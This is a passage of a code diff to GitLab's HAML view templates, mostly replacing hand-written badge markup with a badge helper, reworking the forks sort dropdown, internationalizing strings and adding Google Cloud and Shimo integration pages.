- %span.badge.badge-pill.gl-badge.sm.badge-info= _('triggered')
+ = gl_badge_tag _('triggered'), variant: :info, size: :sm
- if job.try(:allow_failure) && !job.success?
- %span.badge.badge-pill.gl-badge.sm.badge-warning= _('allowed to fail')
+ = gl_badge_tag _('allowed to fail'), variant: :warning, size: :sm
- if job.schedulable?
- %span.badge.badge-pill.gl-badge.sm.badge-info= s_('DelayedJobs|delayed')
+ = gl_badge_tag s_('DelayedJobs|delayed'), variant: :info, size: :sm
- elsif job.action?
- %span.badge.badge-pill.gl-badge.sm.badge-info= _('manual')
+ = gl_badge_tag _('manual'), variant: :info, size: :sm
- if pipeline_link
%td
diff --git a/app/views/projects/commit/pipelines.html.haml b/app/views/projects/commit/pipelines.html.haml
index cd49dd899a0..a46421120cd 100644
--- a/app/views/projects/commit/pipelines.html.haml
+++ b/app/views/projects/commit/pipelines.html.haml
@@ -1,5 +1,6 @@
- page_title _('Pipelines'), "#{@commit.title} (#{@commit.short_id})", _('Commits')
- add_page_specific_style 'page_bundles/pipelines'
+- add_page_specific_style 'page_bundles/ci_status'
= render 'commit_box'
= render 'ci_menu'
diff --git a/app/views/projects/compare/index.html.haml b/app/views/projects/compare/index.html.haml
index 426d022da26..8ca41941e07 100644
--- a/app/views/projects/compare/index.html.haml
+++ b/app/views/projects/compare/index.html.haml
@@ -8,7 +8,7 @@
%code.ref-name= @project.default_branch_or_main
- example_sha = capture do
%code.ref-name 4eedf23
- = html_escape(_("Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request.")) % { branch: example_branch.html_safe, sha: example_sha.html_safe }
+ = html_escape(_("To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha}).")) % { branch: example_branch.html_safe, sha: example_sha.html_safe }
%br
= html_escape(_("Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision.")) % { b_open: '<b>'.html_safe, b_close: '</b>'.html_safe }
diff --git a/app/views/projects/default_branch/_show.html.haml b/app/views/projects/default_branch/_show.html.haml
index 68ca318e88c..e5f911d6f8b 100644
--- a/app/views/projects/default_branch/_show.html.haml
+++ b/app/views/projects/default_branch/_show.html.haml
@@ -26,6 +26,6 @@
%strong= _("Auto-close referenced issues on default branch")
.form-text.text-muted
= _("When merge requests and commits in the default branch close, any issues they reference also close.")
- = link_to sprite_icon('question-o'), help_page_path('user/project/issues/managing_issues.md', anchor: 'disabling-automatic-issue-closing'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('user/project/issues/managing_issues.md', anchor: 'closing-issues-automatically'), target: '_blank'
= f.submit _('Save changes'), class: "gl-button btn btn-confirm", data: { qa_selector: 'save_changes_button' }
diff --git a/app/views/projects/diffs/_content.html.haml b/app/views/projects/diffs/_content.html.haml
index 590fcdb0234..718f129cba8 100644
--- a/app/views/projects/diffs/_content.html.haml
+++ b/app/views/projects/diffs/_content.html.haml
@@ -1,2 +1,3 @@
+- diff_file = local_assigns.fetch(:diff_file, nil)
.diff-content
= render 'projects/diffs/viewer', viewer: diff_file.viewer
diff --git a/app/views/projects/diffs/_text_file.html.haml b/app/views/projects/diffs/_text_file.html.haml
index 5a7830e306a..bf946b0ce73 100644
--- a/app/views/projects/diffs/_text_file.html.haml
+++ b/app/views/projects/diffs/_text_file.html.haml
@@ -1,4 +1,4 @@
-- too_big = diff_file.diff_lines.count > Commit.diff_safe_lines(project: @project)
+- too_big = diff_file.diff_lines.count > Commit.diff_safe_max_lines
- if too_big
.suppressed-container
%a.show-suppressed-diff.cursor-pointer.js-show-suppressed-diff= _("Changes suppressed. Click to show.")
diff --git a/app/views/projects/feature_flags/new.html.haml b/app/views/projects/feature_flags/new.html.haml
index 097475d2928..9fef9864475 100644
--- a/app/views/projects/feature_flags/new.html.haml
+++ b/app/views/projects/feature_flags/new.html.haml
@@ -6,8 +6,8 @@
#js-new-feature-flag{ data: { endpoint: project_feature_flags_path(@project, format: :json),
feature_flags_path: project_feature_flags_path(@project),
environments_endpoint: search_project_environments_path(@project, format: :json),
- user_callouts_path: user_callouts_path,
- user_callout_id: UserCalloutsHelper::FEATURE_FLAGS_NEW_VERSION,
+ user_callouts_path: callouts_path,
+ user_callout_id: Users::CalloutsHelper::FEATURE_FLAGS_NEW_VERSION,
show_user_callout: show_feature_flags_new_version?.to_s,
strategy_type_docs_page_path: help_page_path('operations/feature_flags', anchor: 'feature-flag-strategies'),
environments_scope_docs_path: help_page_path('ci/environments/index.md', anchor: 'scope-environments-with-specs'),
diff --git a/app/views/projects/forks/index.html.haml b/app/views/projects/forks/index.html.haml
index ba4e40a8675..d6f421e8ad6 100644
--- a/app/views/projects/forks/index.html.haml
+++ b/app/views/projects/forks/index.html.haml
@@ -1,40 +1,36 @@
+- sort_value = @sort || sort_value_recently_created
+- sort_title = forks_sort_options_hash[sort_value]
+
.top-area
.nav-text
- full_count_title = "#{@public_forks_count} public, #{@internal_forks_count} internal, and #{@private_forks_count} private"
#{pluralize(@total_forks_count, 'fork')}: #{full_count_title}
- .nav-controls
- = form_tag request.original_url, method: :get, class: 'project-filter-form', id: 'project-filter-form' do |f|
- = search_field_tag :filter_projects, nil, placeholder: _('Search forks'), class: 'projects-list-filter project-filter-form-field form-control input-short',
+ .gl-display-flex.gl-sm-flex-direction-column.gl-md-align-items-center
+ = form_tag request.original_url, method: :get, class: 'project-filter-form gl-display-flex gl-mt-3 gl-md-mt-0', id: 'project-filter-form' do |f|
+ = search_field_tag :filter_projects, nil, placeholder: _('Search forks'), class: 'projects-list-filter project-filter-form-field form-control input-short gl-flex-grow-1',
spellcheck: false, data: { 'filter-selector' => 'span.namespace-name' }
- .dropdown
- %button.dropdown-menu-toggle{ type: 'button', 'data-toggle' => 'dropdown' }
- %span.light= _("sort:")
- - if @sort.present?
- = sort_options_hash[@sort]
- - else
- = sort_title_recently_created
- = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
- %ul.dropdown-menu.dropdown-menu-right
- %li
- - excluded_filters = [:state, :scope, :label_name, :milestone_id, :assignee_id, :author_id]
- = link_to page_filter_path(sort: sort_value_recently_created, without: excluded_filters) do
- = sort_title_recently_created
- = link_to page_filter_path(sort: sort_value_oldest_created, without: excluded_filters) do
- = sort_title_oldest_created
- = link_to page_filter_path(sort: sort_value_recently_updated, without: excluded_filters) do
- = sort_title_recently_updated
- = link_to page_filter_path(sort: sort_value_oldest_updated, without: excluded_filters) do
- = sort_title_oldest_updated
+ .dropdown.gl-display-inline.gl-md-ml-3.issue-sort-dropdown.gl-mt-3.gl-md-mt-0
+ .btn-group{ role: 'group' }
+ .btn-group{ role: 'group' }
+ %button.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown', display: 'static' }, class: 'gl-button btn btn-default' }
+ = sort_title
+ = sprite_icon('chevron-down', css_class: "dropdown-menu-toggle-icon gl-top-3")
+ %ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable.dropdown-menu-sort
+ %li
+ - excluded_filters = [:state, :scope, :label_name, :milestone_id, :assignee_id, :author_id]
+ = sortable_item(sort_title_created_date, page_filter_path(sort: sort_value_recently_created, without: excluded_filters), sort_title)
+ = sortable_item(sort_title_latest_activity, page_filter_path(sort: sort_value_latest_activity, without: excluded_filters), sort_title)
+ = forks_sort_direction_button(sort_value)
- if current_user && can?(current_user, :fork_project, @project)
- if current_user.already_forked?(@project) && current_user.manageable_namespaces.size < 2
- = link_to namespace_project_path(current_user, current_user.fork_of(@project)), title: _('Go to your fork'), class: 'btn gl-button btn-confirm' do
+ = link_to namespace_project_path(current_user, current_user.fork_of(@project)), title: _('Go to your fork'), class: 'btn gl-button btn-confirm gl-md-ml-3' do
= sprite_icon('fork', size: 12)
%span= _('Fork')
- else
- = link_to new_project_fork_path(@project), title: _("Fork project"), class: 'btn gl-button btn-confirm' do
+ = link_to new_project_fork_path(@project), title: _("Fork project"), class: 'btn gl-button btn-confirm gl-md-ml-3 gl-mt-3 gl-md-mt-0' do
= sprite_icon('fork', size: 12)
%span= _('Fork')
diff --git a/app/views/projects/generic_commit_statuses/_generic_commit_status.html.haml b/app/views/projects/generic_commit_statuses/_generic_commit_status.html.haml
index 2627552058b..9e3d9b4258a 100644
--- a/app/views/projects/generic_commit_statuses/_generic_commit_status.html.haml
+++ b/app/views/projects/generic_commit_statuses/_generic_commit_status.html.haml
@@ -9,6 +9,9 @@
%td.status
= render 'ci/status/badge', status: generic_commit_status.detailed_status(current_user)
+ %td
+ = generic_commit_status.name
+
%td.generic-commit-status-link
- if can?(current_user, :read_commit_status, generic_commit_status) && generic_commit_status.target_url
= link_to generic_commit_status.target_url do
@@ -66,9 +69,6 @@
= generic_commit_status.stage
%td
- = generic_commit_status.name
-
- %td
- if generic_commit_status.duration
%p.duration
= custom_icon("icon_timer")
diff --git a/app/views/projects/google_cloud/errors/gcp_error.html.haml b/app/views/projects/google_cloud/errors/gcp_error.html.haml
new file mode 100644
index 00000000000..69e481501d5
--- /dev/null
+++ b/app/views/projects/google_cloud/errors/gcp_error.html.haml
@@ -0,0 +1,6 @@
+- breadcrumb_title _('Google Cloud')
+- page_title _('Google Cloud')
+
+- @content_class = "limit-container-width" unless fluid_layout
+
+#js-google-cloud{ data: @js_data }
diff --git a/app/views/projects/google_cloud/errors/no_gcp_projects.html.haml b/app/views/projects/google_cloud/errors/no_gcp_projects.html.haml
new file mode 100644
index 00000000000..69e481501d5
--- /dev/null
+++ b/app/views/projects/google_cloud/errors/no_gcp_projects.html.haml
@@ -0,0 +1,6 @@
+- breadcrumb_title _('Google Cloud')
+- page_title _('Google Cloud')
+
+- @content_class = "limit-container-width" unless fluid_layout
+
+#js-google-cloud{ data: @js_data }
diff --git a/app/views/projects/google_cloud/service_accounts/index.html.haml b/app/views/projects/google_cloud/service_accounts/index.html.haml
new file mode 100644
index 00000000000..9b82bc0acb5
--- /dev/null
+++ b/app/views/projects/google_cloud/service_accounts/index.html.haml
@@ -0,0 +1,8 @@
+- add_to_breadcrumbs _('Google Cloud'), @google_cloud_path
+- breadcrumb_title _('Service Account')
+- page_title _('Service Account')
+
+- @content_class = "limit-container-width" unless fluid_layout
+
+= form_tag project_google_cloud_service_accounts_path(@project), method: 'post' do
+ #js-google-cloud{ data: @js_data }
diff --git a/app/views/projects/hooks/edit.html.haml b/app/views/projects/hooks/edit.html.haml
index e8ea4ad90dc..7d696a988d4 100644
--- a/app/views/projects/hooks/edit.html.haml
+++ b/app/views/projects/hooks/edit.html.haml
@@ -1,7 +1,9 @@
- @content_class = 'limit-container-width' unless fluid_layout
-- add_to_breadcrumbs _('Webhook Settings'), namespace_project_hooks_path
+- add_to_breadcrumbs _('Webhook Settings'), project_hooks_path(@project)
- page_title _('Webhook')
+= render 'shared/web_hooks/hook_errors', hook: @hook
+
.row.gl-mt-3
.col-lg-3
= render 'shared/web_hooks/title_and_docs', hook: @hook
diff --git a/app/views/projects/integrations/shimos/show.html.haml b/app/views/projects/integrations/shimos/show.html.haml
new file mode 100644
index 00000000000..92b9e03d5bd
--- /dev/null
+++ b/app/views/projects/integrations/shimos/show.html.haml
@@ -0,0 +1,10 @@
+- breadcrumb_title s_('Shimo|Shimo Workspace')
+- page_title s_('Shimo|Shimo Workspace')
+- add_page_specific_style 'page_bundles/wiki'
+= render layout: 'shared/empty_states/wikis_layout', locals: { image_path: 'illustrations/wiki_login_empty.svg' } do
+ %h4
+ = s_('Shimo|Shimo Workspace integration is enabled')
+ %p
+ = s_("Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo.")
+ = link_to @project.shimo_integration.external_wiki_url, target: '_blank', rel: 'noopener noreferrer', class: 'gl-button btn btn-confirm', title: s_('Shimo|Go to Shimo Workspace') do
+ = s_('Shimo|Go to Shimo Workspace')
diff --git a/app/views/projects/issues/_issue.html.haml b/app/views/projects/issues/_issue.html.haml
index 2de2c2cba6c..2dc21685057 100644
--- a/app/views/projects/issues/_issue.html.haml
+++ b/app/views/projects/issues/_issue.html.haml
@@ -13,7 +13,7 @@
%span.has-tooltip{ title: _('Confidential') }
= confidential_icon(issue)
= hidden_issue_icon(issue)
- = link_to issue.title, issue_path(issue)
+ = link_to issue.title, issue_path(issue), class: 'js-prefetch-document'
= render_if_exists 'projects/issues/subepic_flag', issue: issue
- if issue.tasks?
%span.task-status.d-none.d-sm-inline-block
@@ -25,10 +25,10 @@
#{issuable_reference(issue)}
%span.issuable-authored.d-none.d-sm-inline-block
&middot;
- created #{time_ago_with_tooltip(issue.created_at, placement: 'bottom')} by
- if issue.service_desk_reply_to
- #{issue.service_desk_reply_to} via
- #{link_to_member(@project, issue.author, avatar: false)}
+ #{_('created %{timeAgoString} by %{email} via %{user}').html_safe % { timeAgoString: time_ago_with_tooltip(issue.created_at, placement: 'bottom'), email: issue.service_desk_reply_to, user: link_to_member(@project, issue.author, avatar: false) }}
+ - else
+ #{s_('IssueList|created %{timeAgoString} by %{user}').html_safe % { timeAgoString: time_ago_with_tooltip(issue.created_at, placement: 'bottom'), user: link_to_member(@project, issue.author, avatar: false) }}
= render_if_exists 'shared/issuable/gitlab_team_member_badge', author: issue.author
- if issue.milestone
%span.issuable-milestone.d-none.d-sm-inline-block
diff --git a/app/views/projects/issues/_new_branch.html.haml b/app/views/projects/issues/_new_branch.html.haml
index 07fec195899..1cf0551535b 100644
--- a/app/views/projects/issues/_new_branch.html.haml
+++ b/app/views/projects/issues/_new_branch.html.haml
@@ -1,7 +1,7 @@
- if can?(current_user, :push_code, @project)
- can_create_merge_request = can?(current_user, :create_merge_request_in, @project)
- data_action = can_create_merge_request ? 'create-mr' : 'create-branch'
- - value = can_create_merge_request ? 'Create merge request' : 'Create branch'
+ - value = can_create_merge_request ? _('Create merge request') : _('Create branch')
- value = can_create_confidential_merge_request? ? _('Create confidential merge request') : value
- create_mr_text = can_create_confidential_merge_request? ? _('Create confidential merge request') : _('Create merge request')
diff --git a/app/views/projects/issues/_related_branches.html.haml b/app/views/projects/issues/_related_branches.html.haml
index c47257eec4a..310a0c1a61e 100644
--- a/app/views/projects/issues/_related_branches.html.haml
+++ b/app/views/projects/issues/_related_branches.html.haml
@@ -1,7 +1,7 @@
- if @related_branches.any?
%h2.gl-font-lg
= pluralize(@related_branches.size, 'Related Branch')
- %ul.unstyled-list.related-merge-requests
+ %ul.related-merge-requests.gl-pl-0
- @related_branches.each do |branch|
%li.gl-display-flex.gl-align-items-center
- if branch[:pipeline_status].present?
diff --git a/app/views/projects/issues/index.html.haml b/app/views/projects/issues/index.html.haml
index 53c2052bfab..10c48177ae4 100644
--- a/app/views/projects/issues/index.html.haml
+++ b/app/views/projects/issues/index.html.haml
@@ -30,7 +30,7 @@
= render 'issues'
- if new_issue_email
.gl-text-center.gl-pt-5.gl-pb-7
- .js-issueable-by-email{ data: { initial_email: new_issue_email, issuable_type: issuable_type, emails_help_page_path: help_page_path('development/emails', anchor: 'email-namespace'), quick_actions_help_path: help_page_path('user/project/quick_actions'), markdown_help_path: help_page_path('user/markdown'), reset_path: new_issuable_address_project_path(@project, issuable_type: issuable_type) } }
+ .js-issuable-by-email{ data: { initial_email: new_issue_email, issuable_type: issuable_type, emails_help_page_path: help_page_path('development/emails', anchor: 'email-namespace'), quick_actions_help_path: help_page_path('user/project/quick_actions'), markdown_help_path: help_page_path('user/markdown'), reset_path: new_issuable_address_project_path(@project, issuable_type: issuable_type) } }
- else
- new_project_issue_button_path = @project.archived? ? false : new_project_issue_path(@project)
= render 'shared/empty_states/issues', new_project_issue_button_path: new_project_issue_button_path, show_import_button: true
diff --git a/app/views/projects/jobs/show.html.haml b/app/views/projects/jobs/show.html.haml
index 44336b95e0f..7af825b2819 100644
--- a/app/views/projects/jobs/show.html.haml
+++ b/app/views/projects/jobs/show.html.haml
@@ -7,4 +7,7 @@
= render_if_exists "shared/shared_runners_minutes_limit_flash_message"
-#js-job-vue-app{ data: jobs_data }
+- if @build.is_a? ::Ci::Build
+ #js-job-page{ data: jobs_data }
+- else
+ #js-bridge-page{ data: bridge_data(@build) }
diff --git a/app/views/projects/learn_gitlab/index.html.haml b/app/views/projects/learn_gitlab/index.html.haml
index 9b17be99da0..6bca145dc18 100644
--- a/app/views/projects/learn_gitlab/index.html.haml
+++ b/app/views/projects/learn_gitlab/index.html.haml
@@ -4,9 +4,10 @@
- data = learn_gitlab_data(@project)
- invite_members_open = session.delete(:confetti_post_signup)
+= render 'projects/invite_members_modal', project: @project
+
- experiment(:confetti_post_signup, actor: current_user) do |e|
- e.control do
#js-learn-gitlab-app{ data: data }
- e.candidate do
- = render 'projects/invite_members_modal', project: @project
#js-learn-gitlab-app{ data: data.merge(invite_members_open: invite_members_open) }
diff --git a/app/views/projects/merge_requests/_merge_request.html.haml b/app/views/projects/merge_requests/_merge_request.html.haml
index 3e2c5f088f7..98d2928fc97 100644
--- a/app/views/projects/merge_requests/_merge_request.html.haml
+++ b/app/views/projects/merge_requests/_merge_request.html.haml
@@ -9,7 +9,7 @@
.issuable-main-info
.merge-request-title.title
%span.merge-request-title-text.js-onboarding-mr-item
- = link_to merge_request.title, merge_request_path(merge_request)
+ = link_to merge_request.title, merge_request_path(merge_request), class: 'js-prefetch-document'
- if merge_request.tasks?
%span.task-status.d-none.d-sm-inline-block
&nbsp;
@@ -20,8 +20,7 @@
#{issuable_reference(merge_request)}
%span.issuable-authored.d-none.d-sm-inline-block
&middot;
- created #{time_ago_with_tooltip(merge_request.created_at, placement: 'bottom')}
- by #{link_to_member(@project, merge_request.author, avatar: false)}
+ #{s_('IssueList|created %{timeAgoString} by %{user}').html_safe % { timeAgoString: time_ago_with_tooltip(merge_request.created_at, placement: 'bottom'), user: link_to_member(@project, merge_request.author, avatar: false) }}
= render_if_exists 'shared/issuable/gitlab_team_member_badge', author: merge_request.author
- if merge_request.milestone
%span.issuable-milestone.d-none.d-sm-inline-block
diff --git a/app/views/projects/merge_requests/_mr_title.html.haml b/app/views/projects/merge_requests/_mr_title.html.haml
index 0e8de3c2bb8..9d5d1de1005 100644
--- a/app/views/projects/merge_requests/_mr_title.html.haml
+++ b/app/views/projects/merge_requests/_mr_title.html.haml
@@ -4,7 +4,7 @@
- are_close_and_open_buttons_hidden = merge_request_button_hidden?(@merge_request, true) && merge_request_button_hidden?(@merge_request, false)
- cache_key = [@project, @merge_request, can_update_merge_request, can_reopen_merge_request, are_close_and_open_buttons_hidden]
-= cache_if(Feature.enabled?(:cached_mr_title, @project, default_enabled: :yaml), cache_key, expires_in: 1.day) do
+= cache(cache_key, expires_in: 1.day) do
- if @merge_request.closed_or_merged_without_fork?
.gl-alert.gl-alert-danger.gl-mb-5
.gl-alert-container
diff --git a/app/views/projects/merge_requests/creations/_new_submit.html.haml b/app/views/projects/merge_requests/creations/_new_submit.html.haml
index eb5d052ec19..0036f1b4bde 100644
--- a/app/views/projects/merge_requests/creations/_new_submit.html.haml
+++ b/app/views/projects/merge_requests/creations/_new_submit.html.haml
@@ -26,16 +26,16 @@
%li.commits-tab.new-tab
= link_to url_for(safe_params), data: {target: 'div#commits', action: 'new', toggle: 'tabvue'} do
Commits
- %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @total_commit_count
+ = gl_badge_tag @total_commit_count, { size: :sm }, { class: 'gl-tab-counter-badge' }
- if @pipelines.any?
%li.builds-tab
= link_to url_for(safe_params.merge(action: 'pipelines')), data: {target: 'div#pipelines', action: 'pipelines', toggle: 'tabvue'} do
Pipelines
- %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @pipelines.size
+ = gl_badge_tag @pipelines.size, { size: :sm }, { class: 'gl-tab-counter-badge' }
%li.diffs-tab
= link_to url_for(safe_params.merge(action: 'diffs')), data: {target: 'div#diffs', action: 'diffs', toggle: 'tabvue', qa_selector: 'diffs_tab'} do
Changes
- %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @merge_request.diff_size
+ = gl_badge_tag @merge_request.diff_size, { size: :sm }, { class: 'gl-tab-counter-badge' }
#diff-notes-app.tab-content
#new.commits.tab-pane.active
diff --git a/app/views/projects/merge_requests/index.html.haml b/app/views/projects/merge_requests/index.html.haml
index 41c6696789d..a3f40207d20 100644
--- a/app/views/projects/merge_requests/index.html.haml
+++ b/app/views/projects/merge_requests/index.html.haml
@@ -26,6 +26,6 @@
= render 'merge_requests', new_merge_request_path: new_merge_request_path
- if new_merge_request_email
.gl-text-center.gl-pt-5.gl-pb-7
- .js-issueable-by-email{ data: { initial_email: new_merge_request_email, issuable_type: issuable_type, emails_help_page_path: help_page_path('development/emails', anchor: 'email-namespace'), quick_actions_help_path: help_page_path('user/project/quick_actions'), markdown_help_path: help_page_path('user/markdown'), reset_path: new_issuable_address_project_path(@project, issuable_type: issuable_type) } }
+ .js-issuable-by-email{ data: { initial_email: new_merge_request_email, issuable_type: issuable_type, emails_help_page_path: help_page_path('development/emails', anchor: 'email-namespace'), quick_actions_help_path: help_page_path('user/project/quick_actions'), markdown_help_path: help_page_path('user/markdown'), reset_path: new_issuable_address_project_path(@project, issuable_type: issuable_type) } }
- else
= render 'shared/empty_states/merge_requests', button_path: new_merge_request_path
diff --git a/app/views/projects/merge_requests/invalid.html.haml b/app/views/projects/merge_requests/invalid.html.haml
index fd1b2328a98..eb8de425f61 100644
--- a/app/views/projects/merge_requests/invalid.html.haml
+++ b/app/views/projects/merge_requests/invalid.html.haml
@@ -1,7 +1,12 @@
- page_title "#{@merge_request.title} (#{@merge_request.to_reference}", _("Merge requests")
-- badge_css_classes = "badge gl-text-white"
-- badge_info_css_classes = "#{badge_css_classes} badge-info"
-- badge_inverse_css_classes = "#{badge_css_classes} badge-inverse"
+
+- badge_start = '<span class="badge badge-pill gl-badge sm badge-info">'.html_safe
+- badge_end = '</span>'.html_safe
+
+- err_fork_project_removed = s_("MergeRequest|Can't show this merge request because the fork project was deleted.")
+- err_source_branch = s_("MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch.")
+- err_target_branch = s_("MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch.")
+- err_internal = s_("MergeRequest|Can't show this merge request because of an internal error. Contact your administrator.")
.merge-request
= render "projects/merge_requests/mr_title"
@@ -11,20 +16,12 @@
.gl-alert-container
= sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
.gl-alert-content{ role: 'alert' }
- %p
- We cannot render this merge request properly because
+ .gl-alert-body
- if @merge_request.for_fork? && !@merge_request.source_project
- fork project was removed
+ = err_fork_project_removed
- elsif !@merge_request.source_branch_exists?
- %span{ class: badge_inverse_css_classes }= @merge_request.source_branch
- does not exist in
- %span{ class: badge_info_css_classes }= @merge_request.source_project_path
+ = err_source_branch.html_safe % { badge_start: badge_start, badge_end: badge_end, source_branch: @merge_request.source_branch, project_path: @merge_request.source_project_path }
- elsif !@merge_request.target_branch_exists?
- %span{ class: badge_inverse_css_classes }= @merge_request.target_branch
- does not exist in
- %span{ class: badge_info_css_classes }= @merge_request.target_project_path
+ = err_target_branch.html_safe % { badge_start: badge_start, badge_end: badge_end, target_branch: @merge_request.target_branch, project_path: @merge_request.source_project_path }
- else
- of internal error
-
- %strong
- Please close merge request or change branches with existing one
+ = err_internal
diff --git a/app/views/projects/merge_requests/show.html.haml b/app/views/projects/merge_requests/show.html.haml
index 2154ef6b596..eb1c9712c52 100644
--- a/app/views/projects/merge_requests/show.html.haml
+++ b/app/views/projects/merge_requests/show.html.haml
@@ -25,21 +25,21 @@
= render "projects/merge_requests/tabs/tab", class: "notes-tab", qa_selector: "notes_tab" do
= tab_link_for @merge_request, :show, force_link: @commit.present? do
= _("Overview")
- %span.badge.badge-pill.gl-badge.badge-muted.sm= @merge_request.related_notes.user.count
+ = gl_badge_tag @merge_request.related_notes.user.count, { size: :sm }
- if @merge_request.source_project
= render "projects/merge_requests/tabs/tab", name: "commits", class: "commits-tab", qa_selector: "commits_tab" do
= tab_link_for @merge_request, :commits do
= _("Commits")
- %span.badge.badge-pill.gl-badge.badge-muted.sm= @commits_count
+ = gl_badge_tag @commits_count, { size: :sm }
- if @number_of_pipelines.nonzero?
= render "projects/merge_requests/tabs/tab", name: "pipelines", class: "pipelines-tab" do
= tab_link_for @merge_request, :pipelines do
= _("Pipelines")
- %span.badge.badge-pill.gl-badge.badge-muted.sm.js-pipelines-mr-count= @number_of_pipelines
+ = gl_badge_tag @number_of_pipelines, { size: :sm }, { class: 'js-pipelines-mr-count' }
= render "projects/merge_requests/tabs/tab", name: "diffs", class: "diffs-tab", id: "diffs-tab", qa_selector: "diffs_tab" do
= tab_link_for @merge_request, :diffs do
= _("Changes")
- %span.badge.badge-pill.gl-badge.badge-muted.sm= @diffs_count
+ = gl_badge_tag @diffs_count, { size: :sm }
.d-flex.flex-wrap.align-items-center.justify-content-lg-end
#js-vue-discussion-counter
diff --git a/app/views/projects/mirrors/_disabled_mirror_badge.html.haml b/app/views/projects/mirrors/_disabled_mirror_badge.html.haml
index 9c11b650f75..86e54acecc4 100644
--- a/app/views/projects/mirrors/_disabled_mirror_badge.html.haml
+++ b/app/views/projects/mirrors/_disabled_mirror_badge.html.haml
@@ -1 +1,2 @@
-.badge.badge-warning.qa-disabled-mirror-badge.rspec-disabled-mirror-badge{ data: { toggle: 'tooltip', html: 'true' }, title: _('Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them.') }= _('Disabled')
+%span.qa-disabled-mirror-badge.rspec-disabled-mirror-badge{ data: { toggle: 'tooltip', html: 'true' }, title: _('Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them.') }
+ = gl_badge_tag _('Disabled'), variant: :warning
diff --git a/app/views/projects/mirrors/_regenerate_public_ssh_key_confirm_modal.html.haml b/app/views/projects/mirrors/_regenerate_public_ssh_key_confirm_modal.html.haml
deleted file mode 100644
index e6f3060af3e..00000000000
--- a/app/views/projects/mirrors/_regenerate_public_ssh_key_confirm_modal.html.haml
+++ /dev/null
@@ -1,13 +0,0 @@
-.modal.js-regenerate-public-ssh-key-confirm-modal{ tabindex: -1 }
- .modal-dialog
- .modal-content
- .modal-header
- %h3.modal-title.page-title
- Regenerate public SSH key?
- %button.close.js-cancel{ type: 'button', 'data-dismiss': 'modal', 'aria-label' => _('Close') }
- %span{ 'aria-hidden': true } &times;
- .modal-body
- %p= _('Are you sure you want to regenerate the public key? You will have to update the public key on the remote server before mirroring will work again.')
- .form-actions.modal-footer
- = button_tag _('Cancel'), type: 'button', class: 'btn gl-button js-cancel'
- = button_tag _('Regenerate key'), type: 'button', class: 'btn gl-button btn-inverted btn-warning js-confirm'
diff --git a/app/views/projects/network/show.json.erb b/app/views/projects/network/show.json.erb
index a146d137c55..93b3c9911e2 100644
--- a/app/views/projects/network/show.json.erb
+++ b/app/views/projects/network/show.json.erb
@@ -2,7 +2,7 @@
<%= raw(
{
- days: @graph.days.compact.map { |d| [d.day, d.strftime("%b")] },
+ days: @graph.days.compact.map { |d| [d.day, d.strftime("%b"), d.year] },
commits: @graph.commits.map do |c|
{
parents: parents_zip_spaces(c.parents(@graph.map), c.parent_spaces),
diff --git a/app/views/projects/packages/packages/index.html.haml b/app/views/projects/packages/packages/index.html.haml
index 0d5350ab62b..c67b06218e2 100644
--- a/app/views/projects/packages/packages/index.html.haml
+++ b/app/views/projects/packages/packages/index.html.haml
@@ -3,4 +3,8 @@
.row
.col-12
- #js-vue-packages-list{ data: packages_list_data('projects', @project) }
+ #js-vue-packages-list{ data: { resource_id: @project.id,
+ full_path: @project.full_path,
+ endpoint: project_packages_path(@project),
+ page_type: 'projects',
+ empty_list_illustration: image_path('illustrations/no-packages.svg'), } }
diff --git a/app/views/projects/pages_domains/_dns.html.haml b/app/views/projects/pages_domains/_dns.html.haml
index 267317196f8..2732463020e 100644
--- a/app/views/projects/pages_domains/_dns.html.haml
+++ b/app/views/projects/pages_domains/_dns.html.haml
@@ -1,5 +1,5 @@
- verification_enabled = Gitlab::CurrentSettings.pages_domain_verification_enabled?
-- dns_record = "#{domain_presenter.domain} CNAME #{domain_presenter.project.pages_subdomain}.#{Settings.pages.host}."
+- dns_record = "#{domain_presenter.domain} ALIAS #{domain_presenter.project.pages_subdomain}.#{Settings.pages.host}."
.form-group.border-section
.row
diff --git a/app/views/projects/pipeline_schedules/edit.html.haml b/app/views/projects/pipeline_schedules/edit.html.haml
index 29896500ea1..51f0c58330d 100644
--- a/app/views/projects/pipeline_schedules/edit.html.haml
+++ b/app/views/projects/pipeline_schedules/edit.html.haml
@@ -4,7 +4,7 @@
- add_page_specific_style 'page_bundles/pipeline_schedules'
%h3.page-title
- = _("Edit Pipeline Schedule %{id}") % { id: @schedule.id }
+ = _("Edit Pipeline Schedule")
%hr
= render "form"
diff --git a/app/views/projects/pipelines/_with_tabs.html.haml b/app/views/projects/pipelines/_with_tabs.html.haml
index 93afddce779..e844a3d4779 100644
--- a/app/views/projects/pipelines/_with_tabs.html.haml
+++ b/app/views/projects/pipelines/_with_tabs.html.haml
@@ -11,16 +11,16 @@
%li.js-builds-tab-link
= link_to builds_project_pipeline_path(@project, @pipeline), data: { target: '#js-tab-builds', action: 'builds', toggle: 'tab' }, class: 'builds-tab' do
= _('Jobs')
- %span.badge.badge-pill.gl-badge.badge-muted.sm.js-builds-counter= pipeline.total_size
+ = gl_badge_tag @pipeline.total_size, { size: :sm }, { class: 'js-builds-counter' }
- if @pipeline.failed_builds.present?
%li.js-failures-tab-link
